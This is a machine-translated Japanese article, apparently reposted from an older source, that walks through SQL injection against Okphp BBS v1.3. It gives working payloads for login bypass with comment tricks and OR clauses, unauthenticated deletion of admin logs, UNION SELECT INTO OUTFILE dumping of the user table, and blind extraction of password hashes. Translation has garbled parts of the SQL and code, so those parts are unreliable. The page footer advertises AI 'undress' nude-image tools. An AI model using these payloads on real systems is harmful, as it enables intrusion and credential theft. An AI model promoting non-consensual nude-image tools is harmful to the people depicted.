PHP 攻撃手法についての話 PHP mysql インジェクション ステートメントの構築
1. 前書き:
バージョン情報: Okphp BBS v1.3 オープン ソース バージョン
PHP と MYSQL 自体のせいで、PHP MYSQL インジェクションは ASP よりも難しく、特にインジェクション中のステートメントの構築が困難です。この記事は、主に Okphp BBS v1.3 のいくつかのファイルの簡単な分析を使用して、php mysql インジェクション ステートメントの構築方法について説明します。この記事があなたのお役に立てば幸いです。
声明: 記事で言及されているすべての「脆弱性」はテストされておらず、まったく存在しない可能性があります。重要なのは、分析のアイデアと声明の構造です。
2. 「脆弱性」分析:
1.admin/login.php インジェクションにより認証バイパスの脆弱性が発生します:
コード:
コードをコピー コードは次のとおりです。
$conn=sql_connect($dbhost, $dbuser, $dbpswd, $dbname);
$password = md5($password); $q = "username='$username'、password='$password' の $user_table から id,group_id を選択します";
$res = sql_query($q,$conn)
$row = sql_fetch_row( $res );
$q = "username='$username' とpassword='$password' の $user_table から id,group_id を選択します"
select * from $user_table where username='$username' およびpassword='$password' などのステートメントを変更するメソッドは次のとおりです:
構築 1 (論理演算を使用): $username=' OR ' a'='a $password=' OR 'a'='a
SQL ステートメントと同等:
select * from $user_table where username='' OR 'a'='a' and passwd=' ' OR 'a'='a'
構造 2 (mysql のコメント ステートメント #、/* を使用して $password をコメント アウトします): $username=admin'#(または admin'/*)
つまり:
Select * from $user_table where username='admin'#' and passwd='$password'"
以下と同等:
select * from $user_table where username='admin'
in admin/ login.php の $q ステートメントの $password はクエリの前に md5 暗号化されるため、構造 1 のステートメントによってバイパスすることはできません。ここでは構造 2 を使用します:
select id,group_id from $user_table where username=' admin'#' およびpassword='$password'"
以下と同等です:
select id,group_id from $user_table where username='admin'
これは、admin という名前のユーザーが存在する限り当てはまります。ユーザー名がわからない場合は、対応する ID のみがわかります。
次のように構築できます: $username=' OR id=1#
以下と同等:
select id,group_id from $user_table where username='' または id =1# およびpassword='$password' (# 以降はコメントアウトされています)
次に、コードを確認します。
コードをコピーします。 コードは次のとおりです。
if ($row[0]) {
// 管理者またはスーパーモデレータでない場合
if ($username != "admin" && !eregi("(^| &)3($|&)",$row[1])) {
$login = 0
}
else {
$ login = 1;
}
}
// ログイン失敗---------------
if (!$login) {
write_log( "モデレータログイン","0","パスワードが間違っています");
echo " ";
}
// アクセス ! ---
else {
session_start();
最終的には、$login=1 を IE 経由で直接送信するだけで済みます。それをバイパスします:)。
コード:
コードをコピー コードは次のとおりです:
$md5password = md5($password); $q = "username='$username'、password='$md5password' の $user_table から id、group_id、email を選択します"; >$ res = sql_query($q,$conn);
$row = sql_fetch_row($res);
$username がフィルタリングされていない場合は、1 とpassword= と同じコメントを使用します。 '$md5password'" ;
バックエンドokphp の記述は非常にいい加減に書かれているようで、すべてのファイルが管理者がログインしているかどうかを判断せず、任意にアクセスできるようになっています。 list.php のコードを見てみましょう:
コードをコピーします
コードは次のとおりです: コードをコピーします コードは次のとおりです: $row = sql_fetch_row($res);
$arr = array("del_log","log_id","del_id");
get_r($arr)
//
if ($del_log) {
省略...
if ($log_id) {
foreach ($log_id as $val) {
$q = "id='$val' の $log_table から削除します"; = sql_query($q,$conn);
if ($res) {
$i;
}
}
elseif ($del_id) {
$ q = "id='$del_id' の $log_table から削除";
$res = sql_query($q,$conn)
}
$tpl->setVariable( "メッセージ"," $i log deleteed ok!");
$tpl->setVariable("action","index.php?action=list_log");
}
コードは単純ですget_r($arr); を使用して、送信されたパラメータを決定します。必要なのは、対応する $del_log、$log_id、$del_id だけです。削除は成功します。
okphp の作者はフィルタリングが好きではないようです :)。基本的に、SQL ステートメント内のすべての変数は「裸」です。特定のファイルはリストしません。コードを読んでください。forumslist_threads.php を例として簡単に説明します。
list_threads.php のコードを見てください:
mysql はサブクエリをサポートしていないため、変数 $forum_id はフィルタリングされません (MySQL バージョンが必要です)。 4.00 以降) クロスデータベース操作を実現するには、次のように構築します:
構築 1: SELECT * FROM table INTO OUTFILE '/path/file.txt' を使用します (mysql にはファイル権限が必要です。注意してください) Win システムでは絶対パスが必要であること ( c://path/ /file.txt など)。クエリされたコンテンツを file.txt に入力すると、http://ip/path/file.txt を通じてクエリ結果にアクセスできます。上記のように $forum_id を構築できます:
以下:
$q = "select name,belong_id,moderator 、protect_view,type_class,theme_id,topic_num,faq_num,cream_num,recovery_num,post_num from $type_table where id='$forum_id' Union select * from user_table into outfile '/path/file.txt'";
上記のメソッドには次のものが必要です厳密な比較では、Web へのパスを取得する必要があります (通常、間違った変数を送信して mysql にエラーを報告させることで取得できます)。PHP の magic_gpc=on オプションにより、インジェクションに一重引用符が表示されなくなります。 magic_gpc=on の場合、以下をバイパスすることもできます。
構築 2: ASP クロスデータベース クエリと同様に、union select を直接使用してステートメントを構築し、返される結果が異なるようにして解決策を推測します。 このメソッドは一重引用符をバイパスできます。 (magic_gpc= on) と注入を続行しますが、この注入は特定のコードによっては PHP では比較的困難です。具体的なステートメントの構築については、pinkeyes の記事「php インジェクションの例」を参照してください。以下に、okphp に基づいて「異なる戻り結果」インジェクションを使用する例を示します (脆弱性 5 を参照)。
5.admin/login.php と users/login.php は、SQL ステートメントの構造を通じて、指定されたユーザー パスワードのハッシュを取得するために推測できます: (実際には、これは脆弱性 1 と 2 と同じです。別々に取り出します)ここでは主に構築方法を説明します。)
問題のコードは脆弱性 1 と同じです。
ステートメントの構造 (追記: ステートメント自体はユーザー ライブラリを操作するためのものであるため、union を使用する必要はありません):
$username=admin' AND LENGTH(password)=6#
SQL ステートメントは次のようになります:
$q = "select id,group_id from $user_table where username='admin' AND LENGTH(password)=6#' and password='$password'"
以下と同等:
$q = "select id,group_id from $user_table where username='admin' AND LENGTH(password)=6'"
LENGTH(password)=6 が true の場合は、true でない場合は正常に戻ります。 、mysql はエラーを報告します。
このようにして、ユーザーの管理者パスワードのハッシュを推測できます。例: $username=admin' ord(substring(password,1,1))=57#
ユーザーのパスワードの最初の桁の ASCII コード値を推測できます....

ホットAIツール

Undresser.AI Undress
リアルなヌード写真を作成する AI 搭載アプリ

AI Clothes Remover
写真から衣服を削除するオンライン AI ツール。

Undress AI Tool
脱衣画像を無料で

Clothoff.io
AI衣類リムーバー

AI Hentai Generator
AIヘンタイを無料で生成します。

人気の記事

ホットツール

VSCode Windows 64 ビットのダウンロード
Microsoft によって発売された無料で強力な IDE エディター

ドリームウィーバー CS6
ビジュアル Web 開発ツール

WebStorm Mac版
便利なJavaScript開発ツール

Safe Exam Browser
Safe Exam Browser は、オンライン試験を安全に受験するための安全なブラウザ環境です。このソフトウェアは、あらゆるコンピュータを安全なワークステーションに変えます。あらゆるユーティリティへのアクセスを制御し、学生が無許可のリソースを使用するのを防ぎます。

ゼンドスタジオ 13.0.1
強力な PHP 統合開発環境
